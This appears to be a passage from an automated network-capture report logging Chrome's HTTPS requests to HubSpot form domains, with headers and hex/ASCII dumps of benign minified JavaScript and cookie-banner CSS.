2024-12-16 17:45:27 UTC	1369	IN	Data Raw: 2e 77 68 69 74 65 6c 69 73 74 5f 6e 6f 64 65 73 29 26 26 74 68 69 73 2e 77 68 69 74 65 6c 69 73 74 5f 6e 6f 64 65 73 2e 70 75 73 68 28 69 2e 77 68 69 74 65 6c 69 73 74 5f 6e 6f 64 65 73 5b 6f 5d 29 3b 72 2e 77 68 69 74 65 6c 69 73 74 3d 21 21 69 2e 77 68 69 74 65 6c 69 73 74 3b 69 2e 61 74 74 72 5f 77 68 69 74 65 6c 69 73 74 26 26 28 72 2e 61 74 74 72 5f 77 68 69 74 65 6c 69 73 74 3d 73 28 72 2e 61 74 74 72 5f 77 68 69 74 65 6c 69 73 74 2c 69 2e 61 74 74 72 5f 77 68 69 74 65 6c 69 73 74 29 29 3b 72 2e 6e 6f 64 65 3d 69 2e 6e 6f 64 65 3f 69 2e 6e 6f 64 65 3a 72 2e 6e 6f 64 65 7d 72 65 74 75 72 6e 20 72 7d 66 6f 72 28 69 3d 30 3b 69 3c 65 2e 63 68 69 6c 64 4e 6f 64 65 73 2e 6c 65 6e 67 74 68 3b 69 2b 2b 29 72 2e 63 61 6c 6c 28 74 68 69 73 2c 65 2e 63 68 69 Data Ascii: .whitelist_nodes)&&this.whitelist_nodes.push(i.whitelist_nodes[o]);r.whitelist=!!i.whitelist;i.attr_whitelist&&(r.attr_whitelist=s(r.attr_whitelist,i.attr_whitelist));r.node=i.node?i.node:r.node}return r}for(i=0;i<e.childNodes.length;i++)r.call(this,e.chi
2024-12-16 17:45:27 UTC	1369	IN	Data Raw: 2c 32 30 30 76 68 29 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 28 76 61 72 28 2d 2d 68 73 2d 62 61 6e 6e 65 72 2d 74 72 61 6e 73 6c 61 74 65 2d 78 2c 2d 35 30 25 29 2c 32 30 30 76 68 29 20 74 72 61 6e 73 6c 61 74 65 5a 28 33 30 30 30 30 30 30 30 30 30 70 78 29 3b 61 6e 69 6d 61 74 69 6f 6e 3a 62 61 6e 6e 65 72 5f 61 6e 69 6d 61 74 69 6f 6e 20 2e 35 73 20 66 6f 72 77 61 72 64 73 7d 23 68 73 2d 62 61 6e 6e 65 72 2d 67 70 63 20 23 68 73 2d 62 61 6e 6e 65 72 2d 67 70 63 2d 69 6e 6e 65 72 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 67 61 70 3a 31 65 6d 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 70 61 64 64 69 6e 67 3a 76 61 72 28 2d 2d 68 73 2d 62 61 6e 6e 65 72 2d 70 61 64 64 69 6e 67 2c 32 2e Data Ascii: ,200vh);-webkit-transform:translate(var(--hs-banner-translate-x,-50%),200vh) translateZ(3000000000px);animation:banner_animation .5s forwards}#hs-banner-gpc #hs-banner-gpc-inner{display:flex;gap:1em;flex-direction:column;padding:var(--hs-banner-padding,2.
2024-12-16 17:45:27 UTC	1369	IN	Data Raw: 61 74 65 2d 78 2c 2d 35 30 25 29 2c 32 30 30 76 68 29 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 28 76 61 72 28 2d 2d 68 73 2d 62 61 6e 6e 65 72 2d 74 72 61 6e 73 6c 61 74 65 2d 78 2c 2d 35 30 25 29 2c 32 30 30 76 68 29 20 74 72 61 6e 73 6c 61 74 65 5a 28 33 30 30 30 30 30 30 30 30 30 70 78 29 3b 6f 70 61 63 69 74 79 3a 30 7d 39 39 25 7b 6f 70 61 63 69 74 79 3a 30 7d 74 6f 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 28 76 61 72 28 2d 2d 68 73 2d 62 61 6e 6e 65 72 2d 74 72 61 6e 73 6c 61 74 65 2d 78 2c 2d 35 30 25 29 2c 76 61 72 28 2d 2d 68 73 2d 62 61 6e 6e 65 72 2d 74 72 61 6e 73 6c 61 74 65 2d 79 2c 30 29 29 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 28 76 Data Ascii: ate-x,-50%),200vh);-webkit-transform:translate(var(--hs-banner-translate-x,-50%),200vh) translateZ(3000000000px);opacity:0}99%{opacity:0}to{transform:translate(var(--hs-banner-translate-x,-50%),var(--hs-banner-translate-y,0));-webkit-transform:translate(v
2024-12-16 17:45:27 UTC	1369	IN	Data Raw: 73 2d 65 75 2d 63 6f 6f 6b 69 65 2d 63 6f 6e 66 69 72 6d 61 74 69 6f 6e 20 23 68 73 2d 65 75 2d 6f 70 74 2d 69 6e 2d 62 75 74 74 6f 6e 73 7b 66 6c 65 78 2d 67 72 6f 77 3a 31 7d 23 68 73 2d 65 75 2d 63 6f 6f 6b 69 65 2d 63 6f 6e 66 69 72 6d 61 74 69 6f 6e 20 23 68 73 2d 65 75 2d 63 6f 6e 66 69 72 6d 61 74 69 6f 6e 2d 62 75 74 74 6f 6e 2c 23 68 73 2d 65 75 2d 63 6f 6f 6b 69 65 2d 63 6f 6e 66 69 72 6d 61 74 69 6f 6e 20 23 68 73 2d 65 75 2d 63 6f 6f 6b 69 65 2d 73 65 74 74 69 6e 67 73 2d 62 75 74 74 6f 6e 2c 23 68 73 2d 65 75 2d 63 6f 6f 6b 69 65 2d 63 6f 6e 66 69 72 6d 61 74 69 6f 6e 20 23 68 73 2d 65 75 2d 64 65 63 6c 69 6e 65 2d 62 75 74 74 6f 6e 7b 66 6c 65 78 3a 31 3b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a Data Ascii: s-eu-cookie-confirmation #hs-eu-opt-in-buttons{flex-grow:1}#hs-eu-cookie-confirmation #hs-eu-confirmation-button,#hs-eu-cookie-confirmation #hs-eu-cookie-settings-button,#hs-eu-cookie-confirmation #hs-eu-decline-button{flex:1;cursor:pointer;border-radius:
2024-12-16 17:45:27 UTC	1369	IN	Data Raw: 6d 65 64 69 61 20 70 72 69 6e 74 7b 23 68 73 2d 62 61 6e 6e 65 72 2d 70 61 72 65 6e 74 20 23 68 73 2d 6d 6f 64 61 6c 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 23 68 73 2d 62 61 6e 6e 65 72 2d 70 61 72 65 6e 74 20 23 68 73 2d 6d 6f 64 61 6c 2d 63 6f 6e 74 65 6e 74 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 67 61 70 3a 31 2e 31 65 6d 3b 70 61 64 64 69 6e 67 3a 76 61 72 28 2d 2d 68 73 2d 62 61 6e 6e 65 72 2d 6d 6f 64 61 6c 2d 70 61 64 64 69 6e 67 2c 32 2e 32 65 6d 29 3b 77 69 64 74 68 3a 6d 69 6e 28 76 61 72 28 2d 2d 68 73 2d 62 61 6e 6e 65 72 2d 6d 6f 64 61 6c 2d 77 69 64 74 68 2c 35 30 2e 33 65 6d 29 2c 31 Data Ascii: media print{#hs-banner-parent #hs-modal{display:none!important}}#hs-banner-parent #hs-modal-content{position:absolute;display:flex;flex-direction:column;gap:1.1em;padding:var(--hs-banner-modal-padding,2.2em);width:min(var(--hs-banner-modal-width,50.3em),1
2024-12-16 17:45:27 UTC	1369	IN	Data Raw: 2e 31 65 6d 7d 23 68 73 2d 6d 6f 64 61 6c 2d 63 6f 6e 74 65 6e 74 20 23 68 73 2d 63 61 74 65 67 6f 72 69 65 73 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 68 73 2d 63 61 74 65 67 6f 72 79 2d 72 6f 77 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 76 61 72 28 2d 2d 68 73 2d 62 61 6e 6e 65 72 2d 6d 6f 64 61 6c 2d 63 61 74 65 6f 67 72 79 2d 63 6f 6c 6f 72 2c 23 66 66 66 29 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 76 61 72 28 2d 2d 68 73 2d 62 61 6e 6e 65 72 2d 6d 6f 64 61 6c 2d 63 61 74 65 67 6f 72 79 2d 63 6f 72 6e 65 72 73 2c 76 61 72 28 2d 2d 68 73 2d 62 61 6e 6e 65 72 2d 6d 6f 64 61 6c 2d 63 6f 72 6e 65 72 73 2c 31 32 70 78 29 29 3b 70 61 64 64 69 6e 67 3a 32 65 6d Data Ascii: .1em}#hs-modal-content #hs-categories-container .hs-category-row{display:flex;flex-direction:column;background:var(--hs-banner-modal-cateogry-color,#fff);border-radius:var(--hs-banner-modal-category-corners,var(--hs-banner-modal-corners,12px));padding:2em

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.17	49736	104.16.110.254	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:45:27 UTC	573	OUT	GET /collectedforms.js HTTP/1.1 Host: js.hscollectedforms.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://share.hsforms.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://share.hsforms.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-16 17:45:27 UTC	1327	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:45:27 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close access-control-allow-origin: * access-control-allow-methods: GET access-control-max-age: 3000 x-amz-replication-status: COMPLETED last-modified: Mon, 09 Dec 2024 13:03:17 UTC x-amz-server-side-encryption: AES256 x-amz-version-id: 8IiNiFnnn0n9avBP.k8Mr32sZxpD8Dx_ etag: W/"ceb8bcb73e5536d8416735a3977d227a" vary: Origin,Access-Control-Request-Headers,Access-Control-Request-Method,accept-encoding x-cache: Hit from cloudfront via: 1.1 9d2dee9b44718f249b789987d2cbe62c.cloudfront.net (CloudFront) x-amz-cf-pop: IAD12-P3 x-amz-cf-id: ZFo4wIOhWFSafSppRynaje5SmjR82hh4evAaiVQ4QzZwHe2CZsUVgQ== content-security-policy-report-only: frame-ancestors 'self'; report-uri https://send.hsbrowserreports.com/csp/report?resource=collected-forms-embed-js/static-1.1112/bundles/project.js&cfRay=8ef543a459b9f856-ORD Cache-Control: s-maxage=600, max-age=300 x-hs-target-asset: collected-forms-embed-js/static-1.1112/bundles/project.js x-content-type-options: nosniff x-hs-cache-status: MISS x-envoy-upstream-service-time: 8 x-evy-trace-route-service-name: envoyset-translator x-evy-trace-virtual-host: all x-hubspot-correlation-id: a74faa9d-daca-4788-9444-27b386108282
2024-12-16 17:45:27 UTC	651	IN	Data Raw: 78 2d 65 76 79 2d 74 72 61 63 65 2d 73 65 72 76 65 64 2d 62 79 2d 70 6f 64 3a 20 69 61 64 30 32 2f 61 70 70 2d 74 64 2f 65 6e 76 6f 79 2d 70 72 6f 78 79 2d 38 35 36 64 38 37 38 37 64 35 2d 71 67 37 6e 78 0d 0a 78 2d 65 76 79 2d 74 72 61 63 65 2d 6c 69 73 74 65 6e 65 72 3a 20 6c 69 73 74 65 6e 65 72 5f 68 74 74 70 73 0d 0a 78 2d 65 76 79 2d 74 72 61 63 65 2d 72 6f 75 74 65 2d 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 3a 20 6c 69 73 74 65 6e 65 72 5f 68 74 74 70 73 2f 61 6c 6c 0d 0a 78 2d 72 65 71 75 65 73 74 2d 69 64 3a 20 61 37 34 66 61 61 39 64 2d 64 61 63 61 2d 34 37 38 38 2d 39 34 34 34 2d 32 37 62 33 38 36 31 30 38 32 38 32 0d 0a 63 61 63 68 65 2d 74 61 67 3a 20 73 74 61 74 69 63 6a 73 61 70 70 2d 63 6f 6c 6c 65 63 74 65 64 2d 66 6f 72 6d 73 2d 65 6d 62 Data Ascii: x-evy-trace-served-by-pod: iad02/app-td/envoy-proxy-856d8787d5-qg7nxx-evy-trace-listener: listener_httpsx-evy-trace-route-configuration: listener_https/allx-request-id: a74faa9d-daca-4788-9444-27b386108282cache-tag: staticjsapp-collected-forms-emb
2024-12-16 17:45:27 UTC	1369	IN	Data Raw: 37 66 66 39 0d 0a 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 70 72 6f 6a 65 63 74 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 74 3d 7b 7d 2e 74 6f 53 74 72 69 6e 67 2c 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 2e 63 61 6c 6c 28 65 29 2e 73 6c 69 63 65 28 38 2c 2d 31 29 7d 2c 72 3d 41 72 72 61 79 2e 69 73 41 72 72 61 79 7c 7c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 22 41 72 72 61 79 22 3d 3d 65 28 74 29 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 74 3f 6e 75 6c 6c 21 3d 3d 74 Data Ascii: 7ff9/! For license information please see project.js.LICENSE.txt /!function(){"use strict";var t={}.toString,e=function(e){return t.call(e).slice(8,-1)},r=Array.isArray\|\|function(t){return"Array"==e(t)},n=function(t){return"object"==typeof t?null!==t
2024-12-16 17:45:27 UTC	1369	IN	Data Raw: 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 2c 53 3d 7b 66 3a 68 3f 77 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 76 28 74 29 3b 65 3d 64 28 65 2c 21 30 29 3b 76 28 72 29 3b 69 66 28 79 29 74 72 79 7b 72 65 74 75 72 6e 20 77 28 74 2c 65 2c 72 29 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 67 65 74 22 69 6e 20 72 7c 7c 22 73 65 74 22 69 6e 20 72 29 74 68 72 6f 77 20 54 79 70 65 45 72 72 6f 72 28 22 41 63 63 65 73 73 6f 72 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 22 29 3b 22 76 61 6c 75 65 22 69 6e 20 72 26 26 28 74 5b 65 5d 3d 72 2e 76 61 6c 75 65 29 3b 72 65 74 75 72 6e 20 74 7d 7d 2c 45 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 72 65 74 75 72 6e 7b 65 6e 75 6d 65 72 61 62 6c 65 3a 21 28 31 26 74 29 2c 63 6f 6e 66 69 67 75 72 61 62 Data Ascii: ct.defineProperty,S={f:h?w:function(t,e,r){v(t);e=d(e,!0);v(r);if(y)try{return w(t,e,r)}catch(t){}if("get"in r\|\|"set"in r)throw TypeError("Accessors not supported");"value"in r&&(t[e]=r.value);return t}},E=function(t,e){return{enumerable:!(1&t),configurab
2024-12-16 17:45:27 UTC	1369	IN	Data Raw: 6e 28 29 7b 76 61 72 20 65 3d 5b 5d 3b 28 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 7b 7d 29 5b 24 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 7b 66 6f 6f 3a 31 7d 7d 3b 72 65 74 75 72 6e 20 31 21 3d 3d 65 5b 74 5d 28 42 6f 6f 6c 65 61 6e 29 2e 66 6f 6f 7d 29 29 7d 2c 56 3d 7b 7d 2e 70 72 6f 70 65 72 74 79 49 73 45 6e 75 6d 65 72 61 62 6c 65 2c 7a 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 2c 51 3d 7b 66 3a 7a 26 26 21 56 2e 63 61 6c 6c 28 7b 31 3a 32 7d 2c 31 29 3f 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 7a 28 74 68 69 73 2c 74 29 3b 72 65 74 75 72 6e 21 21 65 26 26 65 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 3a 56 7d 2c 48 3d 22 22 2e 73 70 6c 69 74 2c 47 3d 66 28 28 66 75 6e 63 Data Ascii: n(){var e=[];(e.constructor={})[$]=function(){return{foo:1}};return 1!==e[t](Boolean).foo}))},V={}.propertyIsEnumerable,z=Object.getOwnPropertyDescriptor,Q={f:z&&!V.call({1:2},1)?function(t){var e=z(this,t);return!!e&&e.enumerable}:V},H="".split,G=f((func
2024-12-16 17:45:27 UTC	1369	IN	Data Raw: 66 6f 72 63 65 2c 68 74 2e 67 65 74 74 65 72 46 6f 72 2c 4f 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 68 74 2e 67 65 74 2c 72 3d 68 74 2e 65 6e 66 6f 72 63 65 2c 6e 3d 53 74 72 69 6e 67 28 5a 29 2e 73 70 6c 69 74 28 22 74 6f 53 74 72 69 6e 67 22 29 3b 4e 28 22 69 6e 73 70 65 63 74 53 6f 75 72 63 65 22 2c 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 5a 2e 63 61 6c 6c 28 74 29 7d 29 29 3b 28 74 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 69 2c 6f 29 7b 76 61 72 20 73 3d 21 21 6f 26 26 21 21 6f 2e 75 6e 73 61 66 65 2c 61 3d 21 21 6f 26 26 21 21 6f 2e 65 6e 75 6d 65 72 61 62 6c 65 2c 75 3d 21 21 6f 26 26 21 21 6f 2e 6e 6f 54 61 72 67 65 74 47 65 74 3b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 Data Ascii: force,ht.getterFor,O((function(t){var e=ht.get,r=ht.enforce,n=String(Z).split("toString");N("inspectSource",(function(t){return Z.call(t)}));(t.exports=function(t,e,i,o){var s=!!o&&!!o.unsafe,a=!!o&&!!o.enumerable,u=!!o&&!!o.noTargetGet;if("function"==typ
2024-12-16 17:45:27 UTC	1369	IN	Data Raw: 68 3b 6f 2b 2b 29 7b 76 61 72 20 73 3d 72 5b 6f 5d 3b 4a 28 74 2c 73 29 7c 7c 6e 28 74 2c 73 2c 69 28 65 2c 73 29 29 7d 7d 2c 78 74 3d 2f 23 7c 5c 2e 70 72 6f 74 6f 74 79 70 65 5c 2e 2f 2c 43 74 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 72 3d 4c 74 5b 6a 74 28 74 29 5d 3b 72 65 74 75 72 6e 20 72 3d 3d 49 74 7c 7c 72 21 3d 4e 74 26 26 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 65 3f 66 28 65 29 3a 21 21 65 29 7d 2c 6a 74 3d 43 74 2e 6e 6f 72 6d 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 53 74 72 69 6e 67 28 74 29 2e 72 65 70 6c 61 63 65 28 78 74 2c 22 2e 22 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 2c 4c 74 3d 43 74 2e 64 61 74 61 3d 7b 7d 2c 4e 74 3d 43 74 2e 4e 41 54 49 56 45 3d 22 4e Data Ascii: h;o++){var s=r[o];J(t,s)\|\|n(t,s,i(e,s))}},xt=/#\|\.prototype\./,Ct=function(t,e){var r=Lt[jt(t)];return r==It\|\|r!=Nt&&("function"==typeof e?f(e):!!e)},jt=Ct.normalize=function(t){return String(t).replace(xt,".").toLowerCase()},Lt=Ct.data={},Nt=Ct.NATIVE="N
2024-12-16 17:45:27 UTC	1369	IN	Data Raw: 62 6a 65 63 74 28 74 29 2c 71 74 29 29 3f 6e 3a 56 74 3f 65 28 72 29 3a 22 4f 62 6a 65 63 74 22 3d 3d 28 69 3d 65 28 72 29 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 2e 63 61 6c 6c 65 65 3f 22 41 72 67 75 6d 65 6e 74 73 22 3a 69 7d 2c 48 74 3d 7b 7d 3b 48 74 5b 42 28 22 74 6f 53 74 72 69 6e 67 54 61 67 22 29 5d 3d 22 7a 22 3b 76 61 72 20 47 74 3d 22 5b 6f 62 6a 65 63 74 20 7a 5d 22 21 3d 3d 53 74 72 69 6e 67 28 48 74 29 3f 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 22 5b 6f 62 6a 65 63 74 20 22 2b 51 74 28 74 68 69 73 29 2b 22 5d 22 7d 3a 48 74 2e 74 6f 53 74 72 69 6e 67 2c 57 74 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 3b 47 74 21 3d 3d 57 74 2e 74 6f 53 74 72 69 6e 67 26 26 70 74 28 57 74 2c 22 74 6f 53 74 72 Data Ascii: bject(t),qt))?n:Vt?e(r):"Object"==(i=e(r))&&"function"==typeof r.callee?"Arguments":i},Ht={};Ht[B("toStringTag")]="z";var Gt="[object z]"!==String(Ht)?function(){return"[object "+Qt(this)+"]"}:Ht.toString,Wt=Object.prototype;Gt!==Wt.toString&&pt(Wt,"toStr
2024-12-16 17:45:27 UTC	1369	IN	Data Raw: 74 79 4e 61 6d 65 73 3f 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 4e 61 6d 65 73 28 77 69 6e 64 6f 77 29 3a 5b 5d 2c 6d 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 66 65 28 74 29 7d 63 61 74 63 68 28 74 29 7b 72 65 74 75 72 6e 20 70 65 2e 73 6c 69 63 65 28 29 7d 7d 2c 62 65 3d 7b 66 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 70 65 26 26 22 5b 6f 62 6a 65 63 74 20 57 69 6e 64 6f 77 5d 22 3d 3d 68 65 2e 63 61 6c 6c 28 74 29 3f 6d 65 28 74 29 3a 66 65 28 57 28 74 29 29 7d 7d 2c 67 65 3d 6e 74 28 22 68 69 64 64 65 6e 22 29 2c 79 65 3d 22 53 79 6d 62 6f 6c 22 2c 76 65 3d 68 74 2e 73 65 74 2c 77 65 3d 68 74 2e 67 65 74 74 65 72 46 6f 72 28 79 65 29 2c 53 65 3d 58 2e 66 2c 45 65 3d 53 2e 66 2c Data Ascii: tyNames?Object.getOwnPropertyNames(window):[],me=function(t){try{return fe(t)}catch(t){return pe.slice()}},be={f:function(t){return pe&&"[object Window]"==he.call(t)?me(t):fe(W(t))}},ge=nt("hidden"),ye="Symbol",ve=ht.set,we=ht.getterFor(ye),Se=X.f,Ee=S.f,
2024-12-16 17:45:27 UTC	1369	IN	Data Raw: 2c 74 29 7c 7c 4a 28 74 68 69 73 2c 67 65 29 26 26 74 68 69 73 5b 67 65 5d 5b 74 5d 29 7c 7c 65 29 7d 2c 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 74 3d 57 28 74 29 3b 65 3d 64 28 65 2c 21 30 29 3b 69 66 28 74 21 3d 3d 50 65 7c 7c 21 4a 28 4e 65 2c 65 29 7c 7c 4a 28 49 65 2c 65 29 29 7b 76 61 72 20 72 3d 53 65 28 74 2c 65 29 3b 21 72 7c 7c 21 4a 28 4e 65 2c 65 29 7c 7c 4a 28 74 2c 67 65 29 26 26 74 5b 67 65 5d 5b 65 5d 7c 7c 28 72 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 21 30 29 3b 72 65 74 75 72 6e 20 72 7d 7d 2c 51 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 2c 72 3d 54 65 28 57 28 74 29 29 2c 6e 3d 5b 5d 2c 69 3d 30 3b 72 2e 6c 65 6e 67 74 68 3e 69 3b 29 4a 28 4e 65 2c 65 3d 72 5b 69 2b 2b 5d 29 7c 7c 4a 28 69 74 2c 65 29 Data Ascii: ,t)\|\|J(this,ge)&&this[ge][t])\|\|e)},ze=function(t,e){t=W(t);e=d(e,!0);if(t!==Pe\|\|!J(Ne,e)\|\|J(Ie,e)){var r=Se(t,e);!r\|\|!J(Ne,e)\|\|J(t,ge)&&t[ge][e]\|\|(r.enumerable=!0);return r}},Qe=function(t){for(var e,r=Te(W(t)),n=[],i=0;r.length>i;)J(Ne,e=r[i++])\|\|J(it,e)
2024-12-16 17:45:27 UTC	1369	IN	Data Raw: 30 2c 66 6f 72 63 65 64 3a 21 6b 2c 73 68 61 6d 3a 21 68 7d 2c 7b 63 72 65 61 74 65 3a 71 65 2c 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3a 44 65 2c 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 3a 24 65 2c 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 3a 7a 65 7d 29 3b 6b 74 28 7b 74 61 72 67 65 74 3a 22 4f 62 6a 65 63 74 22 2c 73 74 61 74 3a 21 30 2c 66 6f 72 63 65 64 3a 21 6b 7d 2c 7b 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 4e 61 6d 65 73 3a 51 65 2c 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 3a 48 65 7d 29 3b 41 65 26 26 6b 74 28 7b 74 61 72 67 65 74 3a 22 4a 53 4f 4e 22 2c 73 74 61 74 3a 21 30 2c 66 6f 72 63 65 64 3a 21 6b 7c 7c 66 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 4f 65 28 29 Data Ascii: 0,forced:!k,sham:!h},{create:qe,defineProperty:De,defineProperties:$e,getOwnPropertyDescriptor:ze});kt({target:"Object",stat:!0,forced:!k},{getOwnPropertyNames:Qe,getOwnPropertySymbols:He});Ae&&kt({target:"JSON",stat:!0,forced:!k\|\|f((function(){var t=Oe()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.17	49740	104.19.175.188	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:45:28 UTC	742	OUT	GET /embed/v3/form/48192692/096e77d0-b92b-4bcd-b505-f6de1cfdcbdb/json?hs_static_app=forms-embed&hs_static_app_version=1.6926&X-HubSpot-Static-App-Info=forms-embed-1.6926 HTTP/1.1 Host: forms.hsforms.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/plain, / sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://share.hsforms.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://share.hsforms.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-16 17:45:28 UTC	1306	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:45:28 GMT Content-Type: application/json;charset=utf-8 Transfer-Encoding: chunked Connection: close x-origin-hublet: na1 vary: origin access-control-allow-origin: https://share.hsforms.com access-control-allow-methods: OPTIONS, GET access-control-allow-headers: * access-control-allow-credentials: false access-control-max-age: 180 x-content-type-options: nosniff access-control-expose-headers: X-Origin-Hublet Cache-Control: max-age=0, no-cache, no-store x-robots-tag: none x-envoy-upstream-service-time: 21 x-evy-trace-route-service-name: envoyset-translator x-evy-trace-virtual-host: all x-hubspot-correlation-id: 4467bc40-b8a6-4e8d-8556-b28b24c6f02f x-evy-trace-served-by-pod: iad02/star-hubspot-td/envoy-proxy-b967ccf5d-q5dzg x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-request-id: 4467bc40-b8a6-4e8d-8556-b28b24c6f02f CF-Cache-Status: DYNAMIC Set-Cookie: __cf_bm=k1InaUNobpG.p7fXLK9lioOlv9FqZAK4DrCk.xKj0Cs-1734371128-1.0.1.1-SvX.mQ_yCsvT2cbxxN.LoVDfq724e6AQmkN6b_jZIpi5Emsjuz5vEhFdw69WB.W6wozdWtyMnwD.fCc1w8QD5A; path=/; expires=Mon, 16-Dec-24 18:15:28 GMT; domain=.hsforms.com; HttpOnly; Secure; SameSite=None Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
